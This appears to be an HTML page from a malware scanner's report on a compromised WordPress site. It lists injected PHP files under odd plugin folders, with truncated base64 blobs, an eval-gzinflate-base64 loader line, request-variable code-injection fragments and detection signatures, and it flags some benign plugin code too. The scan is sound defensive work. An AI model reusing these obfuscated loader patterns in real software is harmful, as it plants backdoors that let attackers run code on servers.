#0000BB">rmFileInDisconnected</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">) { (</span><span style="color: #0000BB">connection_aborted</span><span style="color: #007700">() || </span><span style="color: #0000BB">connection_status</span><span style="color: #007700">() !== </span><span style="color: #0000BB">CONNECTION_NORMAL</span><span style="color: #007700">) && </span><span style="color: #0000BB">is_file</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">) && </span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">$file</span><span style="color: #007700">); } public static function </span><span style="color: #0000BB">onShutdown</span><span style="color: #007700">() { </span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">$abortCheckFile </span><span style="color: #007700">= </span><span style="color: #0000BB">null</span><span style="color: #007700">; if (!</span><span style="color: #0000BB">emp</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function proc_open <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `proc_open`</p><p><i>[<a href="https://www.php.net/proc_open" target="_blank" class="text-primary">https://www.php.net/proc_open</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">proc_open</span><span style="color: #007700">(</span><span style="color: #0000BB">$command</span><span style="color: #007700">, </span><span style="color: #0000BB">$descriptorspec</span><span style="color: #007700">, </span><span style="color: #0000BB">$pipes</span><span style="color: #007700">, </span><span style="color: #0000BB">$cwd</span><span style="color: #007700">, </span><span style="color: #0000BB">null</span><span style="color: #007700">); if (</span><span style="color: #0000BB">is_resource</span><span style="color: #007700">(</span><span style="color: #0000BB">$process</span><span style="color: #007700">)) { </span><span style="color: #0000BB">stream_set_blocking</span><span style="color: #007700">(</span><span style="color: #0000BB">$pipes</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">], </span><span style="color: #0000BB">0</span><span style="color: #007700">); </span><span style="color: #0000BB">stream_set_blocking</span><span style="color: #007700">(</span><span style="color: #0000BB">$pipes</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">], </span><span style="color: #0000BB">0</span><span style="color: #007700">); </span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">$pipes</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]); </span><span style="color: #0000BB">$tmpout </span><span style="color: #007700">= </span><span style="color: #DD0000">''</span><span style="color: #007700">; </span><span style="color: #0000BB">$tmperr </span><span style="color: #007700">= </span><span style="color: #DD0000">''</span><span style="color: #007700">; while (</span><span style="color: #0000BB">feof</span><span style="color: #007700">(</span><span style="color: #0000BB">$pipes</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">]) === </span><span style="color: #0000BB">false </span><span style="color: #007700">|| </span><span style="color: #0000BB">feof</span><span style="color: #007700">(</span><span style="color: #0000BB">$pipes</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">]) === </span><span style="color: #0000BB">false</span><span style="color: #007700">) { </span><span style="color: #0000BB">elFinder</span><span style="color: #007700">::</span><span style="color: #0000BB">extendTimeLimit</span><span style="color: #007700">(); </span><span style="color: #0000BB">$read </span><span style="color: #007700">= array(</span><span style="color: #0000BB">$pipes</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">], </span><span style="color: #0000BB">$pipes</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">]); </span><span style="color: #0000BB">$write </span><span style="color: #007700">= </span><span style="color: #0000BB">null</span><span style="color: #007700">; </span><span style="color: #0000BB">$except </span><span style="color: #007700">= </span><span style="color: #0000BB">null</span><span style="color: #007700">; </span><span style="color: #0000BB">$ret </span><span style="color: #007700">= </span><span style="color: #0000BB">stream_select</span><span style="color: #007700">(</span><span style="color: #0000BB">$read</span><span style="color: #007700">, </span><span style="color: #0000BB">$write</span><span style="color: #007700">, </span><span style="color: #0000BB">$except</span><span style="color: #007700">, </span><span style="color: #0000BB">1</span><span style="color: #007700">); if (</span><span style="color: #0000BB">$ret </span><span style="color: #007700">=== </span><span style="color: #0000BB">false</span><span style="color: #007700">) { break; } else if (</span><span style="color: #0000BB">$ret </span><span style="color: #007700">=== </span><span style="color: #0000BB">0</span><span style="color: #007700">) { continue; } else { foreach (</span><span style="color: #0000BB">$re</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 5282</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_271").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeDriver.class.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 256.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_272" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #DD0000">'rd /S /Q ' </span><span style="color: #007700">. </span><span style="color: #0000BB">escapeshellarg</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">), </span><span style="color: #0000BB">$o</span><span style="color: #007700">, </span><span style="color: #0000BB">$r</span><span style="color: #007700">); } else { </span><span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #DD0000">'del /F /Q ' </span><span style="color: #007700">. </span><span style="color: #0000BB">escapeshellarg</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">), </span><span style="color: #0000BB">$o</span><span style="color: #007700">, </span><span style="color: #0000BB">$r</span><span style="color: #007700">); } } else { </span><span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #DD0000">'rm -rf ' </span><span style="color: #007700">. </span><span style="color: #0000BB">escapeshellarg</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">), </span><span style="color: #0000BB">$o</span><span style="color: #007700">, </span><span style="color: #0000BB">$r</span><span style="color: #007700">); } if (</span><span style="color: #0000BB">$r </span><span style="color: #007700">=== </span><span style="color: #0000BB">0</span><span style="color: #007700">) { return </span><span style="color: #0000BB">true</span><span style="color: #007700">; } } if (!</span><span style="color: #0000BB">is_link</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">) && </span><span style="color: #0000BB">is_dir</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">)) { </span><span style="color: #0000BB">chmod</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">, </span><span style="color: #0000BB">0777</span><span style="color: #007700">); if (</span><span style="color: #0000BB">$handle </span><span style="color: #007700">= </span><span style="color: #0000BB">opendir</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">)) { while (</span><span style="color: #0000BB">false </span><span style="color: #007700">!== (</span><span style="color: #0000BB">$file </span><span style="color: #007700">= </span><span style="color: #0000BB">readdir</span><span style="color: #007700">(</span><span style="color: #0000BB">$handle</span><span style="color: #007700">))) { if (</span><span style="color: #0000BB">$file </span><span style="color: #007700">=== </span><span style="color: #DD0000">'.' </span><span style="color: #007700">|| </span><span style="color: #0000BB">$file </span><span style="color: #007700">=== </span><span style="color: #DD0000">'..'</span><span style="color: #007700">) { continue; } </span><span style="color: #0000BB">elFinder</span><span style="color: #007700">::</span><span style="color: #0000BB">extendTimeLimit</span><span style="color: #007700">(</span><span style="color: #0000BB">30</span><span style="color: #007700">); </span><span style="color: #0000BB">$path </span><span style="color: #007700">= </span><span style="color: #0000BB">$dir </span><span style="color: #007700">. </span><span style="color: #0000BB">DIRECTORY_SEPARATOR </span><span style="color: #007700">. </span><span style="color: #0000BB">$file</span><span style="color: #007700">; if (!</span><span style="color: #0000BB">is_link</span><span style="color: #007700">(</span><span style="color: #0000BB">$dir</span><span style="color: #007700">) && </span><span style="color: #0000BB">is_dir</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">)...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 887</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_272").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wp-file-manager/file_folder_manager.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 85.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_273" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1392</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_273").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/gallery_1769473496/wf-flyout/icons/custom.file.5.1769473496.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:25:18</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:25:18</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_274" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_274").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/gallery_1769473496/js/js/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_275" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'Y5OL8TA/poIDw3O4tWSGzKkVSY8SyevFuzf463Hs6r3c5BXeQDf6/5F6T7fc4lDfSQ48lzPa73L+Ys+4KfimXr99t9FphLX3eQ0B3s9o/eXu/fb6NaxLn/2dT8mbX+4SH4YBubj3I5bNeVyxn6+yEZEx6bjzcvr26y/ffR6Rf833YGNKJcH4IWlAur5meGJl87mO9H9qZRffxKHhKYPocpoX3CjX8GsWEAwbmeBEGlWs5wJl6K/HXdWWZbnpkOy/ByM+UmQGAu89tzhIkUiTgKMEQGYY6ARy6RIdd7GmglT9VYc4t2vvYsOEzguuj0AloAM9yBe7G62bVcvpUx2Dv91tZwmPv5MzuOhrDd5rVmq1WkZoFiOPvXoLWX6XmdPOw3vYvOP+zte9xnv2r9Q6AvgUtGEdVFxWvvHnWVrA4v2JSMx7Ssf7mmn/mout+/9mmt2J0fBZVjqIAB4R2riBgKtjq2zAmZmxjx9KeOvcw96iHWj65VF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$huqt</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_275").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/gallery_1769473496/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:25:18</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:25:18</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_276" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_276").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/seo-1769473622/templates/custom.file.4.1769473622.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:27:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:27:23</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_277" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_277").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/seo-1769473622/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:27:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:27:23</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_278" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_278").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_extensions/extensions/vendor_support/vendor/vendor/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_279" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'8WP/pGA/roIDw3O1Z1kNmVIrky4lU9eGYH/1h/PZl3v/8NP3IHbH4izPQm+48r7dthwwz3d5iHtnvh67WO4tsG9GYXKdDXu+9a4+3s5w/ff2/eb6NZxLX82dT86bX+4SP4ZR2rxbm81GvK54T9/ZiEiY/tRZu/1bdx/vvI7oP+7bOrGlEWDdydlEur5ueGJl87mO9P9qZZffxKHiyZPocpoW3KjW+GsWEB4NRvgCjyq2cwEWftfDpOrH3+pSpncfgMHPn5lR0v7A9GMgLqYFluhAwEllHCiW2X+P7440tMCvArrgw4dlj/xYJ4jdlMCkFaRPZkHuUebtKu3UqY7iz+E2OYTX0cuZXvqofjCWvaVq5I1QrS7x0Pc32Vm9NpyPf5+dc+n684rncp3bj0ZdBUlaQ8FVFXN+ecqlvGQ/YrqxFjLxjhf582ri72q/HPz2Zng/JkVNJngEkhw/JGgq1CJaPL4maGfG1j45++BwoL+YOmXXalz...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$fvC</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LAVe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_279").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_framework/ReduxCore/inc/welcome/views/status_report.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.64 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:34</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_280" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 387</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">SUHOSIN</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 388</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Suhosin</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 390</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_280").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_framework/ReduxCore/inc/welcome/views/views/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_281" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
